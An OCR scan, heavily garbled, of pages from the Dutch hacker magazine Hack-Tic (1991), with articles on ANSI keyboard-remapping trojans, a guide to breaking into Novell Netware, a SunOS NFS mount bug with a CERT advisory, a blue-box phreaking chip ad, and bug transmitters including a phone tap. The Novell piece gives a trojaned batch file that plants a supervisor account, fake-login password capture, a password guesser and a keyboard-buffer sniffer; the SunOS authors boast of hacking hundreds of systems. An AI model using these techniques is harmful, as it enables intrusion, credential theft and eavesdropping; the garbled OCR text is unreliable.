Het kan nog erger: het had nog verder door kunnen gaan, met cd_.. en cen 
herhaling van dit alles totdat in de root-directory ook alles is gewist. Het is zelfs 
denkbaar om cen ansi-trojan als loader te gebruiken voor een echt virus. 

Zelf vind ik het vee! leuker om via messages verborgen berichten door te geven, 
zals; <ESC>[13;" Greetinx from Northetar...";13p 

  

  

Uitschakelen van toetsen 
Het uitschakelen van een bepaalde tocts gaat met <ESC>[ (toets}p. Dus, door 

<ESC>(32p te geven, werkt de spatiebalk gewoon niet meer, totdat de computer 
gereset wordt, of con <ESC>[ 32 ; 32p gegeven wordt. 

Have Phun and X-periment, 

Northstar Ken. 
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Novell Netware is niet te kraken !! 

(en enige andere teugens) 

Disclaimer: onderstaand artikel is alleen bedoeld voor educatieve doelcinden, probeer dus geen 
systemen binnen te dringen met onderstaande trauks, Spreck ook altijé met twee worden en help ovde 
‘omaatjes met oversteken. 
Dit stukje is bedoeld om backers en opsporingsambtenaren dic met Novell te maken krijgen, op weg 

te helpen. In dit artikel schrijf ik over Novell-versies dic lager zijn dan 22x of 3x, maar veel van de 
‘besproken principes 2ija ook bruikbaar bij de hogere versies. Novell oetware is cen vrij nieuw netwerk 
08, dat cen grote gebruikersvriendelikheid koppelt aan uitstekrode beveiligings-mogelijkheden. Hen 
Novell netwerk is snel, makkelik te beheren, en voor zelfs de meest onervaren gebrviker makkelijk te 
bedienen. Tot zover de folder. 

‘Voor diegenea die bij het horen var de nasox Novell acvut last kijgen van hoofdpija co cen lege bik, 
ccerst even cen kleine vitleg over wat het isen wat het doet: 

‘Novell Netware is een OS dat is omtworpen om verschillende soorten PC's snel en goedkoop met 
elkzarte verbinden (dat laatsic is niet helemaal gelult trouwens). Het netwerk bestaat altijd wit miostens 
‘een server ea een anntal werkstations. De server is mecstal dedicated, soms niet. In zo'a geval kan de 
server dus ook nog gebruikt worden als werkstation). 

Het netwerk is 2cer flexibel van opzet: er kan vrij gemakkelijk een werkstation aangekoppeld worden, 
als het maar beschiket over eca netwerkkaart cn de juiste software. In principe is het dus ook mogelijk oma 

‘een werkstation aan te Koppelea in een netwerk zonder dat iemand dat merkt. 
‘Omdat Novell 20 flexibel is, is het ook mogelijk om bv. UNIX of VMS aan het netwerk te koppelen. 

(Gejuich op de achtergrond). In bet netwerk zelF kun je, (als je genoeg rechten hebt) door middel vat 
menu-gestuurde utilities je weg vinden (hier vertel ik later meer over). Om al die utilities te kunnen 
gebruiken heb je slechts éen ding nodig: cen geldige login. Omhet gebele systeem te kunnen verkennen 
hheb je de login nodig van de systeem- beheerder (supervisor). Dus loop zija kantoortje even binnen en 

‘vraag erom. Kisar is Kees. Ten. hij jou zijn Jogin niet wil geven, vanwege de procedures, vilightids- 
regels, of gewoon omdat hij zich God van het systocm waant. Domme mensen nemen dan hun toevtucht 
tot bedreigingen, lijfelik geweld, het vastbinden van hete strijijzers op supervisors buik etc.ctc. 

Stimme mensen maken gebruik van hun supericure intelligentic en creativiteit om, met het klassick 
amerikaans gezegde fuck the rules’ in het achterboofd, op cca minder fysieke manieraun het felbegeerde 
supervisor-privilege te komen. En voila, de datatravellers, keyboardcowboys, cybernavts oftewe! hackers 
komen in actie. Zo, dat was een hoop gelul dus nu op naar de actie: 

Inloggen op Novell 
(Om in te kunnen loggea bij een Novell netwert heb je een username en meestal ook een password. 

‘Voor uscmame en password wordt geen onderscheid gemaakt tussen hoofd- en kleine letters. Alsje geen 
sgldige usernaam opgeeft, vraagt Novell toch nog om cen password, dit om het zoeken naar geldige 
‘usernames bijna oamogelijk te maken. Geef je cen ongeldige login, dan kcijg je de melding “access 
denied”, en je wordt wecr uityelogd. 

PAS OP: Bij de meeste versies van Novell is het voor de supervisor mogelijk om intruder-detection 
aanie zetten. Als dit aan staat dan wordt een accouat na een xaantat mistukte inlogpogingen gelocked: 

de dewuste user kan dan niet meer inloggen. Alleen de supervisor kan dat account dan weer untockea. 
Dit kan ook erg handig zijn als je voortopig ieouand niet op het netwerk wilt hebbea. 

‘Als Novell geinstalleerd wordt, is het standaard voorziea van twee users: 
@Supervisor - de systeembeheerder, kan en mag alles, is baas over het systeea. 
@Giuest - how low can you go.de Guest-account mag bijus niets, meestal alleen in directory 6ys:\public 
ijken en mail sturen of utilities opstarten. 

    

   

Hack-Tic 14-15/1991 40



Deze twee users hebben standaard GEEN password, dus als cen system pas geinstallecrd is, heb je 
cen kans {lech niet, ik heb 20 al 2 accounts gekregen). Ats je inlogged, kuo je eca aantal parameters 
meegeven, oa 
@iscript™= <nsam>: je kunt cen loginscript meegevea 
@/oologin : je atached aan de server maar logged 0g niet in, 

serverame>/<username> : je kunt op een andere server op het net inloggen. Nadat je beat 
ingelogged, wordt het system-loginscript afgespeeid, dit script zorgt ervoor dat je instellingen in orde. 
2ija,en meestal roept et ook een menutje aan of 20 (hoe we dat omzeilen vertel ik je later). 

Rechten onder Novell 
De novell-rechten lijken te 2ijn gemodelleerd naar unix-voorbeeld. Je kuot de file-rechtea met het 

commando FLAG veranderen, 
Per directory: 

create: je mag bestanden aanmaken 
‘@read: bet recht om directories te tezen 

‘@write: bet recht om in directories te sehriiven 
@open: je mag een file te openen 
‘@search: recht om cen directory te doorzocken met bv. dir 
‘@parentat je kunt rechten aan cen andere gebruiker verlenen (zie: GRANT) 
‘@dclete: je mag bestanden deleten 
@modify: je mag filenames ea attributes veranderen 

Per fie (buiten de DOS-fileattributes system, hidden en read-only): 
index = ysteem-indexfile (niet interessant) @MERK = sharable: file is door moerdere users 
‘tegelik te gebruiken @MERK = execute only: dit file mag je alleen vitvoeren, ca nict lezen. 

Volumes 
Een volume is een manier om een schiff in te delen (zoiets als een directory). Meestal wordt deze 

rmogelikheid niet gebruikt, Standaard bestaat er alleen volume “sys:". Laat je maar niet intimideren: 
"Pisys:\login” is hetzelfde als f:\login. 

Directories & Trustees 
De directory-structuur van novell is getijk aan die van DOS. De volgende directories 2ija op novell 

| sanwezig : 
deze dir staan de files die alleen de supervisor nodig heeft plus de bindery files netSbind.sys 

‘en netSbvalys. In deze files staan alte usernames, (gecrypte) passwords, cic. etc. opgestagea. Allen 
‘supervisor-equivalents hebben hier toegang, 

‘@public: hier staan alle systeem-files 0.2. het system-loginscript (in netSiog.dat). Yedereen heeft hier 
feesrecht, bijna niemand schiijfrecht. 

(@mail: hier heeft iedere user een eigen mail directory, dir"1" is de directory van de supervisor. Normaal 
heb je hier wel scbrijf, msar geen leesrechten. 

login: in deze directory kom je terecht als je nog niet bent ingelogged. Geen schrijfrechten, wel 
leesrechtea. 

  

   

Hetis voor cen systeembeheentec mogelik om iemand rechten toe te kennen in een directory, waar 
bij eigenijk geen toegang toe heeft. Hij maakt hem dan tot trustee voor die directory, en verleent hem 
vervolgens de verlangde rechten, of pakt ze af. 
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Groups 
(Om het de supervisor makkelijker te maken bij het behees, bestaat er voor hem de mogelijheis om 

users onder te brengea in groups. Bea user kan deel uit maken van meerdere groups. Als eco systeem- 
beheerderb.v. een group “system aanmoakt, en die group write-rechten in f:\gystem verleent, dao beef 
dus tedere user die in group "systecm’ zit, dic rechten. Dit kan heel erg hendig zijn, als je bv. een trojan 
horse hebt aangemaatt dic gebreik maakt van de makeuser-utility (cic verderop in dit artikel). 

Een paar menu-utilittes 
Binnen Novell kun je de meeste systcem-taken ook menugestuurd efhandelen, Eakele voorbeeldjes: 

@syscon: users 60 groups aanmakes, en onderhouden, socurity checken, etc. 
filer: bestands-opdrachten afhandelen, bestands- en directoty-attributen veranderen. 
‘@pcoasole, printoon, printdef: printercontroleprogrammas 

‘@makeuser: grote grocpen users in cen keer asnmakes 
Binnen menus geld: insert-toets = toevoegen, delete-toets = wissen. Alsje twijfels bebt: Fl = help. 

Novell Security Features 
Binnen Novell i redelijk wat aandacht aan bevelliging bested. Eakele features waar je misschien 

mec te maken krigt, 2 
@PAUDIT : Met dit programmatje kan de supervisor precies zien wanneer je bent in- en vitgelogged, 

‘en wat je toen ongeveer gedaan hebt. Het is echter zo uitgebreid, dat bijna nicmand het gebruik. 
@SECURITY : Door dit programmatje te runnen, kan een supervisor (of een hacker met supervisor- 
privileges) de bevelligingsgaten in zijn system bekijten, hij zict dan 0.2. wic er teveel privileges beeft, 
of iemand zijn username als password gebruikt, ete etc. De meeste supervisors weten volgens mij niet 
eens dat dit programma bestaat, ze gebruiken het ia ieder geval weinig. 
@INTRUDER DETECTION: Als deze optie aanstaat, wordt een account na cenx-aantal inlogpogingen 

met het verkeerde password afgesloten. Alleen de super- visor kan deze situatie weer herstellea. (Of 
je moet bij de Bileserver kunnen kooten: toets dan ‘enable login’). 
‘Verder kan binnen Novell ook ingestekd worden, dat een account alleen maar binnen een bepaatde 

tijdsperiode gebruiit mag worden, bv. van 08.00 tot 18.00 war. 

MAKEUSER aanroepen via batchfile 
Met de utillity makeuser kan een supervisor in cen keer grote hocveetheden in cen keer aanmaken, 

doordat bij de data al heeft opgestagen in een ascii-file met de extentie “USR’. Somas heeft de supervisor 
het zo druk, dat we hem maar eens een handje helpeo. Maak een .usrfile aan met ongeveer de volgende 
inhoud : 
@REM sample makeuserfile 
#BOME_DIRECTORY sys:eystem 
4CREATE Hck; Hacker; GnaGna; System; syst ALL 

| {oJ 
| | Alle rechten 
I {__ in root-directory 
I zit in group System 

| 

| I | 

|| LESS 
L 

  

    

volledige naan 
Username 
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oem de file voor het geonak maar test.usr, Vervolgeas crecer je een batchfile (bv test bat) met deve 

   test-uexr del test.usr 
‘Zet ou in cen al bestaand batchfile, waarvan je weet of vermoed, dat de super- visor or ook gebruik 

‘van maakt (bijvoorbeeld in WP.BAT cen veewijziog oaar deze batchfite stoppen). 
Je kunt het geheel nog wat netter maken door paden toe te voegen. Als nu cea normale user wp wil 

gebruiken merit bij niets, behalve dat wp cea beetje trager opstart, Alle meldingen van moakeuser worden 
ai, geredirect naar device nul. Als de supervisor echter bet batchfile opstart, dan heeft bet systeerm er 
jincens cen nieuwe gebruiker bij, 

Inloggen met fake script 
Hoe kom ik van die verveleade menutjes af ? 
Exschijoen systeembehcerders te zijn van het slag maintrame-maffia, die hun gebruikers perse NIET 

in bet OS willen laten noeien. Zodra je als gebruiker inlogged, kom je in een menutje terecht, en zodra 
je daar uit probeert te komen, wordt je automatisch uitgelogged. Eakele optossingen : 
‘@Druksnel op ctri-c,vaak kus je hiermee het batchfile dat uitgevoerd wordt doorhet menuonderbreken, 

voila: een DOS-prompt! Het beste kuna je hiermce even wachten tot bet wat drukker op het systeea 
is, dan duurt het batch-file dat jou uitlogged namelijk wat langer, en beb je langer de tijd om het script 
afte breken, 

(@Bij de meeste standaard software paketten is het mogelijk om naar DOS te shelfen. By: Wordperfect 
hoor daar kaippert de DOS-prompt alweer ! De meeste COBOL programma’s ziin 

trouwens berucht om het feit, dat ze crashen als je een control-break geeft {Vis maar dat je bet weet) 
@Slimste oplossing : maak een login-<script aan op cen lokale schijf; heb je die niet bebt dan in je 
maildirectory, en doe dan een login /acript=xxx, 
‘waarbij aacde naam van bet ecriptfile is. In het scriptfile staat bijvoorbeeld alleen maar: Write "Hallo 

baasje". Log in zoals altijd en rara wie staat daar nu te knipperea ? 

Short Guide 
De noweil-schil is grotendeels transparant, dwz je kuat de gewone DOS- commandos gebruiken om 

van directory te wisselen en 20, Er komen echter ook Novell-specifieke commando's bij, bv: 
@grant: geet cen andere gebruiker rechten binnen cen directory bv : grant all to everyone (verleen, 
iedereen alle rechten aan iedercen binnen de huidige directory) 

@ndir. geet cen listing van cen directory, inclusief rechten ete. 
@nver: laat de versie van novell zien waar je op zit 
rights: welke rechten heb ik in huidige directory 
@userfst:faat zien wic er au ingelogged zijn 
‘@whoami: wie ben ik, en waar zit ik ingelogged whoamni /r: welke effectieve rechten heb ik 

‘en n0g meer. Wil je info over cen bepaald commando, tik dan bet commando in, gevalgé door" 

The Invisible Man 
‘Als je cenmaal supervisor-privs hebl op een systeem, en je wilt niet constant de hete adem van de 

super in je nek voeten, doe dan eens het volgende : 
‘@maak een extra user aan (via syscon of makeuser) 
‘@geef hem jouw privs 
iog ma inals die user 
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@start syscon op 
‘@defete nu jezelt 

En tjatjaaaa : je komt officieet niet meer voor op het systeem ! Kijk voor de grap maar cens met 
userlist. Klein nadeeltje: als de supervisor met bv. session wil kijken wie er op het netwerk zitten, krijgt 
hij 20 links en rechts een stoot foutmeldingea om 2’n oren. Maar ja, had ie je maar wat hogere privs 
snoeten geven, toch ? 

Bug in SESSION 
Session is cen menugestuurde utility waarmee je systeeminfo kunt opvragen. Ben van de op te vragen. 

opties is Userinfo. Hicrmee krijg je cen scroflmen met de op het sysicem ingelogdée users, en het leuke 
is, dat als je op cen username gaat staao, en deze aaaklikt met return, je die user cen boodschap kunt 
sturen. Je krijgt dan jouw user-ID te zien en kunt daarachter een boodschap intikken. 

In versie 2.15 van novell zit echter een Kkleia "bugje': met de backspace-toets kun je je user-ID 
veranderen. Leuk om etters te stressen. Je krijgt dan boodschappen als: “[7] Supervisor. Onmiddellik in 
mijn kantoor komen 1!°, etc.cte, Welke systeemprogramment de "bug’ er ook in heeft gezet, de baas was 
er niet bij mee: hij is er in latere versies witgehaald, 

Login imitaties 
In bijna iedere taal is het mogelijk om cea login-imitatie te schrijven die een ingegeven password voor 

je wegschrijft, In pseudo-code 
aap standaard login 
vraag o usernane 
pak usernane 
vraag om password 
pak passvord 
schrijf password weg (by naar ct\dos\xx23-sys of 20) 
print ‘invalid username" of iets dergelijks 
roep de ‘echte’ login aan 
(eventuee!) wis jezelt 

‘Zet bovenstaand programmatje in een directory dat vooraan in het PATH statement staat van het 
locale werkstation, of neem het op in cen batchfile die wordt aangeroepen als mea wil inloggen, affija je 
‘snapt hem wel. 

Password-Guessers etc. 
(Om applicatie-programmeurs (cn hackers) van dienst te zijn, heeft Novell een API (application 

program interface) library ter besthikking gesteld voor de taal "C~. Dit betekent dat je gebruik kuat 
maken van de system-hooks van Novell, je kunt bv. info uit de bindery opvragen, jezelf inloggen (mits je 

het juiste password weet!), etc etc. Met deze library is het ook niet 20 moeilijk om cen password-guesser 
te schrijven, echter deze werkt alleen als intruder-detection UIT staat, anders wordt de account na cen 
santa pogingen getocked. In pseudo code 
pak een login-naam 
open een bestand met -tig woorden 
doe zolang nog niet einde bestand : 

pak een woord uit het bestand 
probeer met dit voord als password in te loggen 
indien geluxt + 

schrijf het woord veg in een ander file 
pak een andere login-naan 
ga terug naar begin vd lus 
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Op cen systeem zonder intruder-detection werkt dit uit de kunst. Trouwens: de API-novell library 
for °C is geen shareware, en kost plm. f700,, maar op sommige universiteiten wil er nog wel cens iets 
rondslingerea. 

Wat kan er aan hangen? 
Zit je cenmaa! op cen novell-netwerk, dan kua je met SLIST kijken wat er nog meer op het netwerk 

hangt. Eo dat kan zeer de moeite waard zijn, aangezien Novell o.2. UNIX ea VMS onderstennd. Het 
grappige is, dat je SLIST vank al kuat opstarten, als je nog niet eens bent ingelogged: bij de mecste 
sgystemen staat het al. in de login-directory. Om op een andere server in te loggea, tik je : login 
\servername. 

Ook wel leuk 
Een tijdje geleden kam ik op cen utopies BBS het volgende bericht tegen: 

Message $246 “Hack ‘n Phreak" (Read: 18) 
Date: 7 May 91 11100200 

  

Een tamelijk flauve maar doeltreffende methode om passwords op ean MS- 
DOs PC te sparent 
get na het invoeren van het password, dus als een van de eerste regele 
in de AUTOEXEC.BAT voor een power-on password of na LOGIN.COM voor sen 
Novell password de xegel: 
DEBUG WI >PWF. (Uiteraard voorafgegaan door BCHO OFF) 
Bet filetje PWS bevat: “D 40:12 3B <cr>Q<cr>*z* (zonder de quotes). 
Bet vraagt debug om de inhoud van de toetsenbord-buffer te lezen. Het 
ingetikte passvord is daar achtergebleven. De toetsenbordbuffera worden 
(in BEX en ASCII) opgeslagen in PYF. Je kan e.e.a. nog wat verfijnen 
met paden otc. Om het wat minder op te laten vallen kan je in pleats 
van PWP een weinig gebruikt programma in de DOS of SYSTEEM directory 
nemen. (FDISK of 20) De passwords worden er dan achteraan qeplakt. 
Succes ermee!) 

    

smaug 

  

Bovenstaande methode werkt niet altijd, maar proberen is natuurlijk altijd de mocite waard. 

Veet plezier met Novel, 

Fuck the suits, 

The Dude 

Naschriftredaktie: Wij hebben begrepen dat de heer Dude dit artikel heeft geschreven 
vlak na zijn traumatische bezoek aan de efficiency-beurs, derhalve hebben we besloten 
zijn slotzin (die toch voor een grote groep mensen zeer beledigend moet zijn) voor één 
keertje door de vingers te zien. 
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Mount onder SunOS 4.0.3, 4.1 en 4.1.1 

Levensverhaal van een UNIX-bug 

SUN Microsystems maakt cen hele serie krachtige workstations waarop vaak een 
eigen versic van UNIX als operating system draait, SunOS. SUNs worden veel 
gebruikt op universiteiten, overheidsinstellingen, nocm maar op. Veel van deze 
machines zijn gckoppeld aan het Internet. Dit netwerk verbind! tienduizenden 
computers over de hele wereld. 

In bovengenoemde versies van UNIX zit con foutjc. Het komt er op acer dat 
iedereen die de bevoegdbeden van de systecmbchecrder op 1 systeem heeft, deze 
bevoegdheden ook kan krijgen op elke andere machine op het netwerk mits er meer 
dan dan 256 tekens in de /etc/exports file staan. /etc/exports is de file waarin SunOS 
bijhoudt welke systemen de disks van dit systeem mogem ’mounten’. ’mount’ is het 
‘UNIX commando om cen disk cen plaats in het file-system van cen machine te geven. 
Alsje root (systeembeheerder) bent op een SUN-systeem ergens in het netwerk kun 
je via het netwerk een disk van cen ander systeem opnemen in je cigen filesystem 

2odat je er zclf alle rechten over bebt. 
Logisch dat het OS bij wil houden wie dat soort bevoegdheden heeft over de disks 

die aan het systeem hangen, want als iemand op afstand jouw disks in het eigen 
file-system kan opnemen kunnen ze er alles mee doen (nieuwe users aanmaken met 
toot-bevoegdheid bijvoorbeeld). 

Wat is nou de bug? Als er meer dan 256 tekens in de /etc/exports file staan dan 
flipt bet OS uit en kun je vanaf elk systecm aan het netwerk de disks van die SUN 
mounten. (Mount is alleen uitvoerbaar voor root, dus je moet wel een systeem op 
root-niveau hacken, daarover misschien later meer). 

Alsje iets als dit ontdekt, zoals ccn aantal vrienden en ik twee jaar geleden deden, 
dan hou je dat natuurlijk en beetje voor je. We hebben er in de afgelopen jaren 
honderden systemen mee gehacked en dus een hoop lol van gehad. Maar zoals alle 
goede dingen duurde ook dit niet eeuwig..... 

Eris altijd wel cen slimme programmeur die door heeft wat er gebeurt en die cen 
berichtje stuurt aan cert@cert.sei.cmu.edu. Sinds de Internet-worm van 1988 is er 
cen instantiec, het Computer Emergency Response Team, die zich toelegt op het 
waarschuwen van systeembeheerders voor dit sort geintjes. Op 15juli 1991 stuurden 
zij het bericht dat op de volgende pagina staat naar de systeembebeerders op het 
Internet. Het is maar goed dat veel systeembeheerders bet niet lazen. 

RGB Productions 
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CERT Warning 
powweteey cunt Advisory 

soly 25, 3981 
Patch for sancs /uar/ete/rpe.sountd 
  

The Computer Eeergency Response Te«n/Coordination center (CERE/Ce) has 
reoeived inforastion concerning the availability of « veourity patob for 
foar/etofrpo.noustd in Son Microrystane, Ino. operating systems, This 
probles will be fixed in gun0s 5.0. Patchen are available for 60008 4-1, 
‘Sod S005 4.101 throupb yoor local fun anaver centers worldwide an well on 
‘through enonpaocs ftp to ftp.uu-net (in “stp/aun-diet), Pata 1D and file information are as follower 

vis Patch 1D Filename Cheokeo 
Hasr/ete/rps,mocstd —100296-01—=«100z9e-O1.tar.s 6160 22 
Please note that fon Microeystens eomstimes updates patch files. If you find that the checkuus ia differsat please contact Gan Xicrosyeteme ‘OF ue for verification. 
  

TE an acces List of boste within /etc/ewports ia a string over 256 characters then the fLlasyeten can be ooanted by 
everyone. 

Tr. mene: 
Unauthorized remote hosts will be able to mount the filesystem. 

Hr, sowzrom: 

1. Mowe the exioting xpe.smcuntd 

  

to 
A wv /asr/ete/rpe.mounta /aer/eto/mpe-mounta.o1D 

2. Iuntell the new version 
Hep aun(3,3x,4,40)/{0.1,4.1.1,4.1_ P6R_A)/epe-noumtd fuer seve, 
{ chown root.staf® /usr/ato/rpa-nountd 
4 chnod 755 /aex/eto/xpe-moumta 

  

3, Kall the currently running xpe-mountd and restart it, oF, reboot the eyotea. systems currently Aounting filesystems 
fron thie host will heve interruptions in service either var 

Ef you believe that your ayotan has bean compromived, contest CERT/CE vin telephone of e-mail, 
Computer Ssergeucy Response Teum/Coordination Center (CERT/CE) Sottware Rglncering tnativute 
Carnegie Kollon University 
iveabargh, PA. 25213-3690 
Taternet E-mail: certtcert.eeaicmi-edi 
Telephone: 412-260-7090 24-hour hotline: 

(CERT/CC personnel anever 
‘on call for emergene: 

    

      

   
Pact advinories and other conputer secarity related inforastion are available for anonymoun ftp from the cert .neiqcou.o80 (192-00,209.5) aratem. 
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The Demon Dialer 

Hack-Tic Technologies brengt nu een nieuwe 
chip die, mits aangestotea op een hoopje analoge 
‘onderdeten, cen complete Blue-Bax in zich heeft. 
Verder is deze chip cen DIMF-dialer, een C4 
toongever, een ATFI tooncode generator en nog. 

‘veel meer. Alle phone-phreak kennis van dit mo- 
‘ment is ingebowwdin het apparaat, en doordat de 
chip cen boeveelheid RAM-geheugen heeft kun- 

nen zelfs nieuwe signaleringsystemen worden 
ingebouwd. Dit is het ideale gereedschap voor de 
phone-phreak van vandaag? 

Hicronder cen compleet lijstje met moge- 
lifkheden van de MOS8HC7OSCEP/DD, zoals de 
offciele benaming luidt. Verder een verkort over 
zZicht van wat cf bij komt kijken om er cen doosje 
‘ombeen te bouwen. 

De MC68HC705C8P/DD 
Het is een Motorola processor van het type 

68705 die door ons is geptogrammeerd. Er is al- 
een nog cen matrix-toeisenbord van 3 bij4 toet- 
sea met cen paar weerstanden en cea D/A con- 

verter met cen filter nodig. Aanstuiten op 5 Volt 
en voila, je bebt het perfecte stukje gereedschap 
voor de Phone-Phreak. 

‘Als je de chip aanaet is het cea DIMF-diaker, 
enalsje ciet de juiste code intkt Dift het dat ook. 

Pas als de code (die per chip anders is) is ingetikt 
kan je overschakelen naar de andere mogeliji- 
eden: 
@DIMF, RedBox, C3, Of, CS, Ri, R2 (beide 
richtingen)en ATFI mvodesingebouwd. Verder 
kunnen 2 nieuwe systemen in het RAM van de 
chip gezet worden, 

‘@Guard Banding: Elke toon of ubbeltoon kan 
met een derde frequentie worden gecombi- 
nerd, 

@Geavanceerde Macro mogelijkheden. Macro- 
nesting is mogeli. 

‘@Alte instellingen bijven bewaard in RAM als 
fhet apparaat uit staat, 

@Voor DIME, C5 en C3 zijn zowel space als 
mark timing instetbaer. 

(©C3 heeft programmecrbare space en mark fre- 
quentic ens dus bruikbaar als algemeen pulse- 
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signaling system. Verderisviacen relais-con- 
‘role signael pulse-dialting mogelijk. 

(@User-Defined-Modes kunnen gebruik makea 
‘van variabele timings en frequenties. 
@Tone-eweep en de mogelijheid om een start- 

Frequentie ex stap-grootte in te tikken. Ook 
continu-sweep in te stellen. 

@Telefooonummesscan met vatiabele stap- 
grootte in alle systemen, 

Het Bouwen 
De MC68HC7SCY/DD is het hart van de 

zelfoouw-blucbor, maarcen santal elementen zul 
jenogzelf mocteabouwen, Jezult zetfcen matrix- 

toetsenbord mocten bevestigen ca ook een cen- 
‘voudige D/A converter e0 een speaker. De totale 

toe te voegea hardware zou niet meer dan 50 
‘gulden moeten kosten. Op de volgende bladzijde 
staat het schema, en bijde chipzit een uitgebreide 
set datashects (hardware beschrijving) en cea 
software-manual, afles in Nederlands ea Engels. 
In de hardware-beschriving veel meer aandacht 
voor D/A convertor, filter, toetseabord etc. dan 
in dit beknopte artikel. Verder schema’s om het 
apparaat op 3 Volt telaten lopenenom eenSohm 

speaker aan te sturen, 

Hoe krijg je de chip? 
ost 250 gulden, inclusief de ver- 

sentrsan en Nederlandstalige en Engelstatige 
handleiding van de software en een uitvoerige 
bouwbeschriving van de hardware. Betalen doe 
je pas aan de postbode, we versturen 2¢ onder 
rembours. Wilje meer informatie, of wil je beste- 

Jen dan un je bellen met 020-6001480. 
‘Onder de mensen dic op de HCC-beurs abon- 

nee worden van Hack-Tie verlten we twee maal 
cen gratis Demon-Dialer-cip of levensabonne- 

ment op Hack-The. Prijswinnaars in de volgende 
Tic. 
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Hack-Tic op 
HCC Dagen ’91 

Hack-Tic Is op de HCC-Dagen 
1991 aanwezig. Hier kun je je op 
Hack-Tic_abonneren tegen de 
speciale beursprijs van 35,- (nor- 
maal 40,-). Verder kun je oude 
nummers van Hack-Tic kopen, 

zijn er buttons, petjes en stickers 
en eris een demonstratie van een 
werkende semafoonontvanger. 

Verder kun je net als vorig jaar de 

Hack-Tic duo-kostenteller kopen. 
Met deze teller kun je twee 
(series) telsfoons op 1 fijn han- 
gen, de kosten worden dan apart 
bijgehouden. Deze teller kost 
£75,-. De opbrengst van dit alles 

komt ten goede aan Hack-Tic. 
Heb je problemen bij het bouwen 

van de projecten in deze Hack- 
Tic of kun je de onderdeien ner- 

gens vinden, kom dan zeker naar 

‘onze stand op de HCC-Dagen. 
Ook de MC68HC705DD (zie 
pagina’s 44 en 45) is op onze 
stand te kop, 
De HCC-Dagen zijn 22 en 23 No- 
vember van 10.00 tot 17.90 uur in 
de Jaarbeurs in Utrecht {viak 
naast het station). Met de neven- 

staande reductiecoupon krijg je 
2,50 korting op de toegangsprijs 

{normaal £10.00). See you there! 

  

  

Zendertjes van Billsf 

Als je deze zenders bouw' zijn er een aantal 
dingenom op tz Ietten. De spoel (en trousens het 
hele hoogfrequentgedeeite) is voor beide zenders 
hhetzelfde. Het frequenticbereik voor beide zen- 
ders is van 80 - 130 MHz. Dit betekent dat je 
(onder andere) op de omroepband (87-108 MHz) 
deunt zenden. 
De spoel is 6 3/4 winding met draad van 1 mm 

dik, de binnendiameter van de spoe! is 3 mm. Als 
je dunner draad gebruikt moet je er voor zorgen 

‘dat de spoel cen lengte heeft van 7 mma. De spoe! 
kun je bijvoorbeeld wikkelen om cen boortje van 
3mm dik. Als je deze zender op andere frequen- 
fies wilt gebruiken is de reget: twee keer zovee! 
windiogen betekent dat de frequentie gehafveerd 
wordt. 

pu
te
r 

da
ge
n 

’9
1 

  

22.
¢n 

23 
no
ve
mb
er
 

m
i
c
r
o
c
o
m
 

  

Pr
ee

 
c
i
 

mi
cr

oc
om

pu
te

rd
ag

en
. 

Dit
 j

aa
rl

ij
ks

e 
ev
en
em
en
t 

vi
nd

t 

In
le
ve
re
n 

bij 
de 

ka
ss
a 

van
 

pl
at
s 

in 
de 
Ja

ar
be

ur
s 

te 
Ut

re
ch

t 

de
 
Ja
ar
be
ur
s 

tij
den

s 
de 

:5e
 H

ee 

van
 1

0.
00
 

tot
 1

7.0
0 

wur
 

  

ran 

rad 
o 

ay 

  

  

Rack-Tic 14-15/1991 50



  

  

  

Place of vine 

123 

BCS57B, 8C547B 
1=C,2=B,3=E 

    BF241 
  

De microfoonzender 

Het vermogen van deze zender is bij een volle 
batterij ongeveer 20 milliWatt (bereik in de stad 
200 meter) bij een optimate aatenne van 69 cen 
timeter. Het ontwerp bevat cen voorversterkeren 
is redelijk gevoetig. Bij cea hogere batterijepan- 
ning is het vitgangsvermogen ook hoger. Mecr 
dan 18 Vott (bereik 1 kilometer !) is voor de 
transistoren een tikje riskant. Op 1 negea Volt 
batterijtje 208 dit gehec! het 3 dagen mocten uit~ 
houden, met cen lithium 9 Vole batterij mag je op 
het dubbele rekenen. 

De Telefoonzender 
Dit ontwerp betrekt zijn voeding vit de tele~ 

Cooalijn. De twee LEDs moeten groen of geel zijn 
(rode LEDs hebben cen kleinere spanningsval). 
De LEDs dienen om de zender te voorzien van 
cen stabiele ingangsspanning, ze zullca maar bit- 
ter weinig licht geven. Dit ontwerp produceest 3 
milliWatt (100 meter) maar het bereik wordt ver- 

  

      

  

1=6,2=6,3-8 

groot door de antenne om de te beluisteren tele- 
fooalijn te wikketen en deze dus als aoteane te 
gebruiken. Je kunt ook drie i.pw. ewee LEDs ia 

serie hangen, maar dan ‘steel’ je meer stroom veo 
de PTT en is ex cen grotere kans dat bet gehee! 
invioed heeft op de getuidskwaliteit van de te 
deluisteren verbioding, 

Ethiek 
Al hebben deze zenders cen uiterst kieia ver- 

smogen: het is illegual om ze te gebruiken. Hoe je 
dit met je geweten oplost moet je elf weten. Deze. 
zenders jn door hun instabititet en het feit dat 
ze in cen makkelijk meeluisterbare frequentic- 
band zenden meer speelgoed dan weskelijk spion- 
nentuig, Dat is ook precies de bedoeling. Speel er 
mee maar respecteer de privacy vaa anderen! 

P.S. 
Als je de telefoonzender op je eigen lija be~ 

vestigd maakt dit de tans dat je door de BVD 
word! afgeluisterd behoorlii Kleiner: hoevee! 
mensen hebben er nou twee taps op hua hija? 

  

    Piece of wire 
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ECA a 
door tot zijn hersenen! 

  

  

  

Bert Vredeling heeft veel gemeen met rijn home computer: Beide denken 
logisch, beide 2ijn dol op cijfers en beide 2ijn door een virus besmet — 
hetealie vires! 

Door Ron Sterrenburg | pmuet hen” pct de mam oe, 
"Br Mana, com come expe, swat reporee ex heres een “Sulit propane var 

De 52 pige ex | wenden lees tS ut ed ya et 
‘raling ct Rasen es over at ewmnd he omit Ren Als edt et 

Te Cena ware) sett aie eee ar Mi een ne 
Pe ae stink comput. dear van [bee gre mot bed. Pinas cen stare 

Sted ne cer Progam am iad leat aaj dor 
Zn heb leds moperh tem gedan om | ending met federeen Be dt pope 

sctuer do orcas yan tp hte komen |daavon i handen hed pd” 
SERA'SE Nitto ty ie beamet door em | De concae van Dx) Mand in dat de 
Tee athe die hop i der ppomen van Vitling Meike con 
epee Se eS tee penton 

‘ria vectuarde dt 2a compuer,|Veselng begin ijn pagent 
eee bist sak end raben Beets ea jn pg, 2 at, 

CESS iene vn cen vr een [ane Det apesten i. Hy Bet bin geen 
ee er omwsryen om ale [ene ee Zele cew BC vn jn ersnen 
Poles | itt eandce. He word son epee 
